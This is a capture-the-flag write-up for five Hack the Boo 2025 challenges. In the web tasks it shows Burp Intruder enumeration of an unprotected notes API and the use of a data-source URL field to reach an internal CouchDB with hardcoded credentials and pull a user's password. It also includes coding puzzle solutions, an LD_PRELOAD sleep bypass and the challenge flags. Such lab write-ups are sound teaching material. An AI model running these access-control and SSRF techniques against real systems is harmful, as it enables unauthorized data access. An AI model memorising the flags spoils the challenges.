This is a walk-through of the Hack the Boo CTF 2025 (Competition, October 24-27) of Hack the Box for Halloween.
I only had limited time to play this CTF so not all solutions are available 🙁
- Web – The Gate of Broken Names
- Web – The Wax-Circle Reclaimed
- Coding – The Bone Orchard
- Coding – The Woven Lights of Langmere
- Reversing – Rusted Oracle
Web
The Gate of Broken Names – Easy – 900 pts
Among the ruins of Briarfold, Mira uncovers a gate of tangled brambles and forgotten sigils. Every name carved into its stone has been reversed, letters twisted, meanings erased. When she steps through, the ground blurs—the village ahead is hers, yet wrong: signs rewritten, faces familiar but altered, her own past twisted. Tracing the pattern through spectral threads of lies and illusion, she forces the true gate open—not by key, but by unraveling the false paths the Hollow King left behind.
Download the Scenario Files.
unzip web_gate_of_broken_names.zip
Inspect the files.
challenge/app/views/pages/note-detail.ejs
[...]
const response = await fetch('/api/notes/<%= noteId %>', {
credentials: 'include'
});
[...]
./challenge/app/server/init-data.js
[...]
export function generateRandomNotes(totalNotes = 200) {
const flag = readFlag();
const flagPosition = Math.floor(Math.random() * totalNotes) + 1;
console.log(`🎃 Generating ${totalNotes} notes...`);
[...]
We learn that there is an API /api/notes/{id} that displays the note content. There is no check on access to private notes.
We also learn that the flag is within a note, which has a randomly generated position between id 1 to 200.
Start the Docker container for the challenge.
Access the web application using Burp Suite.
http://46.101.193.192:32154/
Click on “Create Account” to register. Log in with the newly created account.
Click on “All Chronicles”. Click on “Read More” from any note to generate a call to API “/api/notes/{id}”.
In Burp Suite, send the request to the Intruder.
GET /api/notes/VARIABLE HTTP/1.1
Host: 46.101.193.192:32154
Cookie: connect.sid=<MASKED>
Connection: keep-alive
- Payload:
- Payload type: Numbers
- From: 1
- To: 200
- Resource Pool: create a pool with maximum one concurrent request at a time.
- Settings:
- Grep – Match: click Add and enter “HTB{“, which is the flag format.
Start the attack.
We find the flag in one of the notes.
GET /api/notes/65 HTTP/1.1
Host: 46.101.193.192:32154
Cookie: connect.sid=<MASKED>
Connection: keep-alive
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: http://localhost:3000
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: 260
ETag: W/"104-hYWDn7VrhiBBAbNUil1J3lxCY/U"
Date: Fri, 24 Oct 2025 18:14:32 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"id":65,"user_id":1,"title":"Critical System Configuration","content":"HTB{br0k3n_n4m3s_r3v3rs3d_4nd_r3st0r3d_64ea67d473051a45517b77b1e3330a1e}","is_private":1,"created_at":"2025-10-10T17:11:02.476Z","updated_at":"2025-09-25T17:11:02.476Z","username":"admin"}

HTB{br0k3n_n4m3s_r3v3rs3d_4nd_r3st0r3d_64ea67d473051a45517b77b1e3330a1e}
The Wax-Circle Reclaimed – Medium – 950 pts
Atop the standing stones of Black Fen, Elin lights her last tallow lantern. The mists recoil, revealing a network of unseen sigils carved beneath the fen’s grass—her sister’s old routes, long hidden. But the lantern flickers, showing Elin a breach line moving toward the heartstone. Her final task is not to seal a door, but to rewrite the threshold. Drawing from years of etched chalk and mirror-ink, she weaves a new lattice of bindings across the stone. As the Hollow King approaches, she turns the boundary web inward—trapping him in a net of his own forgotten paths.
Download the Scenario Files.
unzip web_wax_circle_reclaimed.zip
Inspect the files.
challenge/html/server.js
[...]
const couchdbUrl = 'http://admin:waxcircle2025@127.0.0.1:5984';
[...]
// Generate random position for elin_croft
const elinCroftPosition = Math.floor(Math.random() * 1000) + 1;
for (let i = 1; i <= 1000; i++) {
// Check if this is the position for elin_croft
if (i === elinCroftPosition) {
const elinPassword = generateSecurePassword(16);
generatedUsers.push({
_id: 'user_elin_croft',
type: 'user',
username: 'elin_croft',
password: elinPassword,
role: 'guardian',
clearance_level: 'divine_authority'
});
}
[...]
app.get('/dashboard', requireAuth, async (req, res) => {
try {
// Check if user has high authority to see the flag
const hasHighAuthority = req.user.role === 'guardian' && req.user.clearance_level === 'divine_authority';
[...]
We find an URL to an Apache CouchDB database with the credentials admin/waxcircle2025.
We also find that user elin_croft has “guardian” role with “divine_authority” clearance level. This is the role and clearance required to see the flag according to the code above.
Start the Docker container for the challenge.
Access the web application.
http://188.166.166.49:31899/login
Use the guest login with credentials guest/guest123.
In the dashboard, enter the previously found CouchDB URL in the “Data source URL”.
http://admin:waxcircle2025@127.0.0.1:5984
{"couchdb":"Welcome","version":"3.5.0","git_sha":"11f0d3643","uuid":"5c1bff4db22ba2814c507fedd5737dc1","features":["access-ready","partitioned","pluggable-storage-engines","reshard","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}
We can access the CouchDB database. List all databases.
http://admin:waxcircle2025@127.0.0.1:5984/_all_dbs
["users"]
List all documents from the “users” database.
http://admin:waxcircle2025@127.0.0.1:5984/users/_all_docs
{"total_rows":1004,"offset":0,"rows":[{"id":"user_ancient_guardian_master","key":"user_ancient_guardian_master","value":{"rev":"1-6a8330d6c58e7d08215c4b9ea8a0f23f"}},{"id":"user_defender_alpha_0223","key":"user_defender_alpha_0223","value":{"rev":"1-f10c344fd8207cb916ad7b498db8de57"}},
[...]
The result is truncated.
Get the document for user elin_croft. From the code, we know that _id=’user_elin_croft’.
http://admin:waxcircle2025@127.0.0.1:5984/users/user_elin_croft
{"_id":"user_elin_croft","_rev":"1-867768939cabd1c073c78ac90c1dfc4a","type":"user","username":"elin_croft","password":"iWI6@BU$ib429!aU","role":"guardian","clearance_level":"divine_authority"}
We find credentials for elin_croft. Login with credentials “elin_croft/iWI6@BU$ib429!aU” to get the flag.

HTB{w4x_c1rcl3s_c4nn0t_h0ld_wh4t_w4s_n3v3r_b0und_8122c092c5f44bb20de0670599dbbc62}
Coding
The Bone Orchard – Easy – 925 pts
Beyond the marshes lies a grove where bones whisper the memories of the forgotten. Their faint echoes trade secrets in pairs — but only those whose values align perfectly can form a true harmony. In this quiet necropolis, balance itself is the key to understanding.
Spawn the Docker container.
Access the web application.
http://64.226.86.133:30902
Beyond the marsh lies the Bone Orchard — a grove where skeletal trees grow not from bark and seed, but from the marrow of those whose names were long forgotten. Each bone carries a fragment of memory, and when two bones are brought together, their memories intertwine in a trade.
But not every trade is balanced. Only certain pairs resonate with the same hollow of the world, their values aligning perfectly to form knowledge. All other pairings fade into silence.
Your task is to determine which trades are balanced, and how many such pairs exist in the orchard.
The input has the following format:
- The first line contains two integers N and T.
- N — the number of bones in the orchard.
- T — the target value of a balanced trade.
- The second line contains N integers a1, a2, …, aN, representing the values etched into each bone.
Output the number K of balanced trades on the first line.
On the second line, print all K pairs formatted as (x,y) with x ≤ y,
space-separated, and no spaces inside the parentheses (i.e., (2,9) not (2, 9)).
Pairs must be sorted in ascending order by x, then by y if needed.
If K = 0, print an empty second line.1 ≤ N ≤ 2 * 10^5
1 <= T ≤ 4 * 10^5
1 ≤ ai <= 10^6
Example:
Input:
10 11
45 9 6 2 3 8 9 56 2 21
Expected output:
2
(2,9) (3,8)
The target sum is 11.
- The bones with values of 2 and 9 form a balanced trade.
- The bones with values of 3 and 8 form another.
Thus there are 2 balanced trades in total, and they are listed in sorted order.
Enter this Python code and execute it.
N, T = map(int, input().split())
a = list(map(int, input().split()))
seen = set(a)
pairs = set()
for x in seen:
y = T - x
if y in seen and x <= y:
pairs.add((x, y))
pairs = sorted(pairs)
print(len(pairs))
print(' '.join(f'({x},{y})' for x, y in pairs))
The web application displays the flag.

HTB{f0rg0tt3n_b0n3s_r3s0n4t3}
The Woven Lights of Langmere – Medium – 925 pts
Across the black marshes, ancient lanterns once spoke through flickering codes of light. Each sequence told a story — part memory, part magic — until the night the flames faltered and their meanings splintered. Now, to read their message is to weave light and number back into language itself.
Spawn the Docker container.
Access the web application.
http://46.101.206.146:32615
Across the marshes of Langmere, signal lanterns once guided travelers home. Each sequence of blinks formed a code, weaving words out of flame. But on Samhain night, the lights faltered, and the messages split into many possible meanings.
Each sequence is given as a string of digits. A digit or a pair of digits may represent a letter:
1 through 26 map to A through Z.The catch is that a zero cannot stand alone. It may only appear as part of 10 or 20.
For example, the string 111 can be read three different ways: AAA, AK, or KA.Your task is to determine how many distinct messages a lantern sequence might carry. Since the number of possible decodings can grow very large, you must return the result modulo 1000000007.
The input consists of a single line containing a string S of digits.
The string will not contain leading zeros.Output a single integer, the number of valid decodings of S modulo 1000000007.
5 ≤ |S| ≤ 20000
Note: a valid number will not have leading zeros.
Example:
Input:
111
Expected output:
3
There are three valid decodings of 111.
111 → AAA (1 (A) | 1 (A) | 1 (A))
111 → AK (1 (A) | 11 (K))
111 → KA (11 (K) | 1 (A))
So the answer is 3.
Enter this Python code and execute it.
MOD = 1_000_000_007
s = input().strip()
n = len(s)
# dp[i] = number of ways to decode s[:i]
# We only need the last two states (rolling DP)
prev2, prev1 = 1, 1 # dp[0] = 1, dp[1] = 1 if valid
if s[0] == '0':
print(0)
exit()
for i in range(1, n):
curr = 0
# Single digit decode if valid (1–9)
if s[i] != '0':
curr += prev1
# Two-digit decode if valid (10–26)
two = int(s[i-1:i+1])
if 10 <= two <= 26:
curr += prev2
curr %= MOD
prev2, prev1 = prev1, curr
print(prev1 % MOD)
The web application displays the flag.

HTB{l4nt3rn_w0v3_mult1pl3_m34n1ngs}
Reversing
Rusted Oracle – Easy – 925 pts
An ancient machine, a relic from a forgotten civilization, could be the key to defeating the Hollow King. However, the gears have ground almost to a halt. Can you restore the decrepit mechanism?
Download the Scenario Files.
unzip rev_rusted_oracle.zip
Execute the program.
cd rev_rusted_oracle
chmod u+x rusted_oracle
./rusted_oracle
A forgotten machine still ticks beneath the stones.
Its gears grind against centuries of rust.
[ a stranger approaches, and the machine asks for their name ]
>
The program asks for a “name”. Look at the strings from the program to find the name.
strings rusted_oracle
`|/lib64/ld-linux-x86-64.so.2
sleep
perror
fflush
read
stdout
rand
[...]
On a rusted plate, faint letters reveal themselves: %s
A forgotten machine still ticks beneath the stones.
Its gears grind against centuries of rust.
[ a stranger approaches, and the machine asks for their name ]
read
Corwin Vell
[ the gears begin to turn... slowly... ]
[ the machine falls silent ]
[...]
Execute the program again using name “Corwin Vell”.
cd rev_rusted_oracle
chmod u+x rusted_oracle
./rusted_oracle
A forgotten machine still ticks beneath the stones.
Its gears grind against centuries of rust.
[ a stranger approaches, and the machine asks for their name ]
> Corwin Vell
[ the gears begin to turn... slowly... ]
The program continues but seems to sleep. We found the “sleep” function when doing the “strings” command earlier. We can also decompile the program using Ghidra.
Create a shared library that will override the sleep function.
nosleep.c
#include <unistd.h>
unsigned int sleep(unsigned int seconds) { return 0; }
Compile the shared library.
gcc -shared -fPIC -o nosleep.so nosleep.c
Execute the program using the nosleep shared library.
LD_PRELOAD=$PWD/nosleep.so ./rusted_oracle
A forgotten machine still ticks beneath the stones.
Its gears grind against centuries of rust.
[ a stranger approaches, and the machine asks for their name ]
> Corwin Vell
[ the gears begin to turn... slowly... ]
On a rusted plate, faint letters reveal themselves: HTB{sk1pP1nG-C4ll$!!1!}

HTB{sk1pP1nG-C4ll$!!1!}
